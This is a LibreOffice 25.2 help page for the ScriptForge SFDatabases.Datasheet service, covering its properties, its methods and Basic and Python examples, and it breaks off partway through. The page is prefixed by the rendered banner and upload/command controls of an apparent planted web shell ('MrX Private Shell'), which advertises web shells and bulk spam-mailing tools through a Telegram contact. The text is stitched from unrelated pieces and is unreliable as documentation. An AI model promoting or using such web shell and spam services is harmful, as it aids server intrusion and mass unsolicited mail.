__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<!DOCTYPE html>
<html lang="es" dir="ltr">
<head>
<base href="../../../../../">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Servicio SFDatabases.Datasheet</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="es/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="es/bookmarks.js" defer></script><script type="text/javascript" src="es/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="es/text/shared/05/new_help.html"><div></div></a><a class="logo" href="es/text/shared/05/new_help.html"><p dir="auto">Ayuda de LibreOffice 25.2</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Módulo</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contenido</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Buscar en los marcadores del módulo elegido" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<noscript><div id="WarnJS"><h1 dir="auto">Active JavaScript en el navegador para mostrar las páginas de ayuda de LibreOffice.</h1></div></noscript>
<a id="abstract"></a>
  <a id="bm_id41582391760252"></a>
    <meta itemprop="keywords" content="Datasheet service">
  
  <h1 id="bm_id781582391760253" dir="auto">
<a id="DatasheetService"></a>Servicio <span class="literal">SFDatabases</span>.<span class="literal">Datasheet</span>
</h1>
  <p id="par_id901619031958273" class="paragraph" dir="auto">The <span class="literal">Datasheet</span> service allows to visualize the contents of database tables as well as the results of queries and SQL statements using Base's Data View. Additionally, this service allows to:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id241619032289964" class="listitem" dir="auto">Add custom menus to the data view.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id291619032292829" class="listitem" dir="auto">Access values in specific positions of the data view.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id421619032296454" class="listitem" dir="auto">Position the cursor in a specific cell of the data view.</p>
    </li>
</ul>


  <h2 id="hd_id581582885621841" dir="auto">Invocación del servicio</h2>
  <p id="par_id141609955500101" class="paragraph" dir="auto">Before using the <span class="literal">Datasheet</span> service the <span class="literal">ScriptForge</span> library needs to be loaded or imported:</p>
  <div class="embedded">
<a id="importLibs"></a>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id901528999850603" dir="auto">• Para cargar la biblioteca  <span class="literal">ScriptForge</span> que necesitan las macros de Basic se debe usar la siguiente declaración:<br><span class="literal">GlobalScope.BasicLibraries.loadLibrary("ScriptForge")</span><br><br>• Los scripts de Python necesitan importar el módulo <span class="literal">scriptforge</span>:<br><span class="literal">from scriptforge import CreateScriptService</span></p></div>
</div>
<br>
  </div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <p id="par_id311619033224680" class="paragraph" dir="auto">The <span class="literal">Datasheet</span> service can be invoked in two different ways depending on whether the database file is open.</p>
  <p id="par_id781671108693239" class="paragraph" dir="auto">The example below considers that the database file is open, hence the <span class="literal">UI</span> service can be used to retrieve the document and the <span class="literal">OpenTable</span> method from the <span class="literal">Database</span> service is used to get a <span class="literal">Datasheet</span> service instance.</p>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim ui As Object, oBase As Object, oSheet As Object
    Set ui = CreateScriptService("UI")
    ' Object oBase is an instance of the Base service
    Set oBase = ui.GetDocument("C:\Documents\myDB.odb")
    ' Object oSheet is an instance of the Datasheet service
    Set oSheet = oBase.OpenTable("Customers")
  </code></pre></div>
  <p id="par_id721671040093835" class="paragraph" dir="auto">In the example above it is also possible to use the method <span class="literal">OpenQuery</span> from the <span class="literal">Base</span> service to get a <span class="literal">Datasheet</span> instance.</p>
  <p id="par_id281619033570656" class="paragraph" dir="auto">To invoke the <span class="literal">Datasheet</span> service when the database file is not open, use the <span class="literal">OpenTable</span>, <span class="literal">OpenQuery</span> or <span class="literal">OpenSql</span> methods from the <span class="literal">Database</span> service. The example below uses the <span class="literal">OpenTable</span> method to open an existing table in the database file:</p>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim oDatabase As Object, oSheet As Object
    ' Object oDatabase is an instance of the Database service
    Set oDatabase = CreateScriptService("Database", "C:\Documents\myDB.odb")
    ' Object oSheet is an instance of the Datasheet service
    Set oSheet = oDatabase.OpenTable("Customers")
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <p id="par_id871623102536956" class="paragraph" dir="auto">Los ejemplos anteriores pueden expresarse en Python de la siguiente manera:</p>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    from scriptforge import CreateScriptService
    ui = CreateScriptService("UI")
    base_doc = ui.GetDocument(r"C:\Documents\MyFile.odb")
    sheet = base_doc.OpenTable("Customers")
  </code></pre></div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    database = CreateScriptService("Database", r"C:\Documents\myDB.odb")
    sheet = database.OpenTable("Customers")
  </code></pre></div>

<h2 id="hd_id711600788076834" dir="auto">Propiedades</h2>
  <p id="par_id31671041470077" class="paragraph" dir="auto">The following properties are available in the <span class="literal">Datasheet</span> service:</p>
  <a id="properties_toc"></a>
   <table border="1" class="" cellpadding="0" cellspacing="0">
    <tr>
      <th rowspan="" colspan="" class="tableheadcell" dir="auto">
        <p id="par_id461600788076917" class="tableheadintable" dir="auto">Nombre</p>
      </th>
      <th rowspan="" colspan="" class="tableheadcell" dir="auto">
        <p id="par_id221600788076591" class="tableheadintable" dir="auto">Solo lectura</p>
      </th>
      <th rowspan="" colspan="" class="tableheadcell" dir="auto">
        <p id="par_id761600788076328" class="tableheadintable" dir="auto">Tipo</p>
      </th>
      <th rowspan="" colspan="" class="tableheadcell" dir="auto">
        <p id="par_id67160078807636" class="tableheadintable" dir="auto">Descripción</p>
      </th>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id491600788076621" class="tablecontentintable" dir="auto">ColumnHeaders</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id311600788076756" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id831600788076785" class="tablecontentintable" dir="auto">Matriz de cadenas</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id441600788076826" class="tablecontentintable" dir="auto">Returns an <span class="literal">Array</span> with the names of column headers in the datasheet.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id941600788076595" class="tablecontentintable" dir="auto">CurrentColumn</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id49160078807654" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id961600788076376" class="tablecontentintable" dir="auto">String</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id81600788076419" class="tablecontentintable" dir="auto">Devuelve el nombre de la columna seleccionada actualmente.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id721600788076638" class="tablecontentintable" dir="auto">CurrentRow</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id711600788076534" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id911600788076842" class="tablecontentintable" dir="auto">Integer</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id541600788076645" class="tablecontentintable" dir="auto">Returns the number of the currently selected row, starting at 1.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id961600788076890" class="tablecontentintable" dir="auto">DatabaseFileName</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id891600788076190" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id761600788076562" class="tablecontentintable" dir="auto">String</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id91600788076674" class="tablecontentintable" dir="auto">Returns the file name of the Base file in <span class="literal">FSO.FileNaming</span> format.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id831633021719135" class="tablecontentintable" dir="auto">Filter</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id561633021747903" class="tablecontentintable" dir="auto">No</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id201633021748455" class="tablecontentintable" dir="auto">String</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id831633021749007" class="tablecontentintable" dir="auto">Specifies a filter to be applied to the datasheet expressed as the <span class="literal">WHERE</span> clause of a SQL query without the <span class="literal">WHERE</span> keyword. If an empty string is specified then the active <span class="literal">Filter</span> is removed.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id951600788076443" class="tablecontentintable" dir="auto">LastRow</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id391600788076253" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id381600788076799" class="tablecontentintable" dir="auto">Integer</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id21600788076541" class="tablecontentintable" dir="auto">Devuelve el número de filas en la hoja de datos.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id41600788076936" class="tablecontentintable" dir="auto">OrderBy</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id211600788076138" class="tablecontentintable" dir="auto">No</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id221600788076518" class="tablecontentintable" dir="auto">String</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id521600788076371" class="tablecontentintable" dir="auto">Specifies the order in which records are shown expressed as the <span class="literal">ORDER BY</span> clause of a SQL query without the <span class="literal">ORDER BY</span> keyword. If an empty string is specified then the active <span class="literal">OrderBy</span> is removed.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id161600788076362" class="tablecontentintable" dir="auto">ParentDatabase</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id21600788076758" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id871600788076196" class="tablecontentintable" dir="auto">Objeto</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id781600788076694" class="tablecontentintable" dir="auto">Returns the <span class="literal">Database</span> service instance to which the datasheet belongs.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id471600788076885" class="tablecontentintable" dir="auto">Source</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id261600788076841" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id661600788076636" class="tablecontentintable" dir="auto">String</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id11600788076757" class="tablecontentintable" dir="auto">Returns a String that represents the data source, which can be a SQL statement, a table name or a query name.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id221600789141781" class="tablecontentintable" dir="auto">SourceType</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id531600789141795" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id561600789141282" class="tablecontentintable" dir="auto">String</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id301600789141619" class="tablecontentintable" dir="auto">Returns the type of the data source, which can be one of the following values: "SQL", "TABLE" or "QUERY".</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id821600789286339" class="tablecontentintable" dir="auto">XComponent</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id541600789286532" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id181600789286889" class="tablecontentintable" dir="auto">Objeto UNO</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id701600789286280" class="tablecontentintable" dir="auto">Returns the <a target="_blank" href="https://api.libreoffice.org/docs/idl/ref/interfacecom_1_1sun_1_1star_1_1lang_1_1XComponent.html">com.sun.star.lang.XComponent</a> UNO object  that represents the datasheet.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id31600789752717" class="tablecontentintable" dir="auto">XControlModel</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id941608709527698" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id100100678952791" class="tablecontentintable" dir="auto">Objeto UNO</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id661300789527859" class="tablecontentintable" dir="auto">Returns the <a target="_blank" href="https://api.libreoffice.org/docs/idl/ref/interfacecom_1_1sun_1_1star_1_1awt_1_1XControl.html">com.sun.star.awt.XControl</a> UNO object that represents the datasheet.</p>
      </td>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id31600789527717" class="tablecontentintable" dir="auto">XTabControllerModel</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id941600789527698" class="tablecontentintable" dir="auto">Sí</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id100160078952791" class="tablecontentintable" dir="auto">Objeto UNO</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id631600789527859" class="tablecontentintable" dir="auto">Returns the <a target="_blank" href="https://api.libreoffice.org/docs/idl/ref/interfacecom_1_1sun_1_1star_1_1awt_1_1XTabControllerModel.html">com.sun.star.awt.XTabControllerModel</a> UNO object  that represents the datasheet.</p>
      </td>
    </tr>
   </table>
<br>
  

  <h2 id="hd_id501582887473754" dir="auto">Métodos</h2>
  <a id="methods_toc"></a>
   <table border="1" class="" cellpadding="0" cellspacing="0">
    <tr>
      <th rowspan="" colspan="3" class="tableheadcell" dir="auto">
        <p id="par_id451619034669263" class="tableheadintable" dir="auto">Lista de métodos en el servicio Datasheet</p>
      </th>
    </tr>
    <tr>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id981619034669263" class="tablecontentintable" dir="auto">
          <a target="_top" href="es/text/sbasic/shared/03/sf_datasheet.html#Activate">Activate</a><br>
          <a target="_top" href="es/text/sbasic/shared/03/sf_datasheet.html#CloseDatasheet">CloseDatasheet</a><br>
          <a target="_top" href="es/text/sbasic/shared/03/sf_datasheet.html#CreateMenu">CreateMenu</a><br>
        </p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id721619034669263" class="tablecontentintable" dir="auto">
          <a target="_top" href="es/text/sbasic/shared/03/sf_datasheet.html#GetText">GetText</a><br>
          <a target="_top" href="es/text/sbasic/shared/03/sf_datasheet.html#GetValue">GetValue</a><br>
          <a target="_top" href="es/text/sbasic/shared/03/sf_datasheet.html#GoToCell">GoToCell</a><br>
        </p>
      </td>
      <td rowspan="" colspan="" dir="auto">
        <p id="par_id711619034669263" class="tablecontentintable" dir="auto">
          <a target="_top" href="es/text/sbasic/shared/03/sf_datasheet.html#RemoveMenu">RemoveMenu</a><br>
          <a target="_top" href="es/text/sbasic/shared/03/sf_datasheet.html#Toolbars">Toolbars</a><br><br>
        </p>
      </td>
    </tr>
   </table>
<br>
  

  <a id="Activate"></a>
    
    <a id="bm_id341609135528912"></a>
      <meta itemprop="keywords" content="Datasheet service,Activate">
    
    <h2 id="hd_id61161309632927" dir="auto">Activate</h2>
    <p id="par_id801916099743199" class="paragraph" dir="auto">Brings to front the data view window referred to by the <span class="literal">Datasheet</span> instance.</p>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id71613205516650" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.Activate()</span>
    </p>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      oSheet.Activate()
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      sheet.Activate()
    </code></pre></div>
  

  <a id="CloseDatasheet"></a>
    
    <a id="bm_id341609135513552"></a>
      <meta itemprop="keywords" content="Datasheet service,CloseDatasheet">
    
    <h2 id="hd_id61161309639987" dir="auto">CloseDatasheet</h2>
    <p id="par_id801916099748128" class="paragraph" dir="auto">Closes the data view window referred to by the <span class="literal">Datasheet</span> instance.</p>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id71613205555140" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.CloseDatasheet()</span>
    </p>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      oSheet.CloseDatasheet()
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      sheet.CloseDatasheet()
    </code></pre></div>
  

  <a id="CreateMenu"></a>
    
    <a id="bm_id341609135511882"></a>
      <meta itemprop="keywords" content="Datasheet service,CreateMenu">
    
    <h2 id="hd_id61161309633147" dir="auto">CreateMenu</h2>
    <p id="par_id801916099748639" class="paragraph" dir="auto">Creates a new menu entry in the data view window and returns a <span class="literal">SFWidgets.Menu</span> service instance, with which menu items can be programmatically added.</p>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id71671047526843" dir="auto">Menus added using the <span class="literal">CreateMenu</span> method are lost as soon as the data view window is closed.</p></div>
</div>
<br>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id71613205513340" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.CreateMenu(menuheader: str, opt before: any, opt submenuchar: str): obj</span>
    </p>
    <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
    <p id="par_id941619079997155" class="paragraph" dir="auto"><span class="emph">menuheader:</span> The name of the new menu.</p>
    <p id="par_id941619079997180" class="paragraph" dir="auto"><span class="emph">before:</span> This argument can be either the name of an existing menu entry before which the new menu will be placed or a number expressing the position of the new menu. If this argument is left blank the new menu is placed as the last entry.</p>
    <p id="par_id941619079997090" class="paragraph" dir="auto"><span class="emph">submenuchar:</span> The delimiter used in menu trees (Default = "&gt;")</p>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      Dim oMenu As Object
      Set oMenu = oSheet.CreateMenu("My Menu", Before := "Data")
      With oMenu
          .AddItem("Item 1", Command := ".uno:About")
          ' ...
          .Dispose()
      End With
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      menu = sheet.CreateMenu("My Menu", before="Data")
      menu.AddItem("Item 1", command=".uno:About")
      # ...
      menu.Dispose()
    </code></pre></div>
    <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id521671048538692" dir="auto">Read the <a target="_top" href="es/text/sbasic/shared/03/sf_menu.html">Menu service</a> help page to learn more about how to create menu and submenu entries and associate commands.</p></div>
</div>
<br>
  

  <a id="GetText"></a>
    
    <a id="bm_id341609135520362"></a>
      <meta itemprop="keywords" content="Datasheet service,GetText">
    
    <h2 id="hd_id61161309634747" dir="auto">GetText</h2>
    <p id="par_id801916099748009" class="paragraph" dir="auto">Returns the text in a given column of the current row.</p>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id161671050245887" dir="auto">This method does not change the position of the cursor in the data view window.</p></div>
</div>
<br>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id71615225513340" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.GetText(column: any): str</span>
    </p>
    <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
    <p id="par_id941619079997693" class="paragraph" dir="auto"><span class="emph">column:</span> The name of the column as a String or the column position (starting at 1). If a position greater than the number of columns is given, the last column is returned.</p>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      oSheet.GetText("FirstName")
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      sheet.GetText("FirstName")
    </code></pre></div>
  

  <a id="GetValue"></a>
    
    <a id="bm_id341609648521152"></a>
      <meta itemprop="keywords" content="Datasheet service,GetValue">
    
    <h2 id="hd_id61161309633547" dir="auto">GetValue</h2>
    <p id="par_id801916099747177" class="paragraph" dir="auto">Returns the value in a given column of the current row as a valid Basic type.</p>
    <p id="par_id91671050315349" class="paragraph" dir="auto">The types that can be returned are: <span class="literal">String</span>, <span class="literal">Integer</span>, <span class="literal">Long</span>, <span class="literal">Single</span>, <span class="literal">Double</span>, <span class="literal">Date</span> and <span class="literal">Null</span>.</p>
    <p id="par_id411671050476363" class="paragraph" dir="auto">Binary types are returned as a <span class="literal">Long</span> value indicating the length of the binary field.</p>
    <p id="par_id141671050559691" class="paragraph" dir="auto">An <span class="literal">Empty</span> value is returned if the required value could not be retrieved.</p>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id161671050245365" dir="auto">This method does not change the position of the cursor in the data view window.</p></div>
</div>
<br>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id71615225513355" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.GetValue(column: any): any</span>
    </p>
    <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
    <p id="par_id941619079997253" class="paragraph" dir="auto"><span class="emph">column:</span> The name of the column as a String or the column position (starting at 1). If a position greater than the number of columns is given, the last column is returned.</p>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      oSheet.GetValue("Address")
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      sheet.GetValue("Address")
    </code></pre></div>
  

  <a id="GoToCell"></a>
    
    <a id="bm_id341601448421747"></a>
      <meta itemprop="keywords" content="Datasheet service,GoToCell">
    
    <h2 id="hd_id61161309659787" dir="auto">GoToCell</h2>
    <p id="par_id801916099747188" class="paragraph" dir="auto">Moves the cursor to the specified row and column.</p>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id71615225513065" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.GoToCell(opt row: int, opt column: any): bool</span>
    </p>
    <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
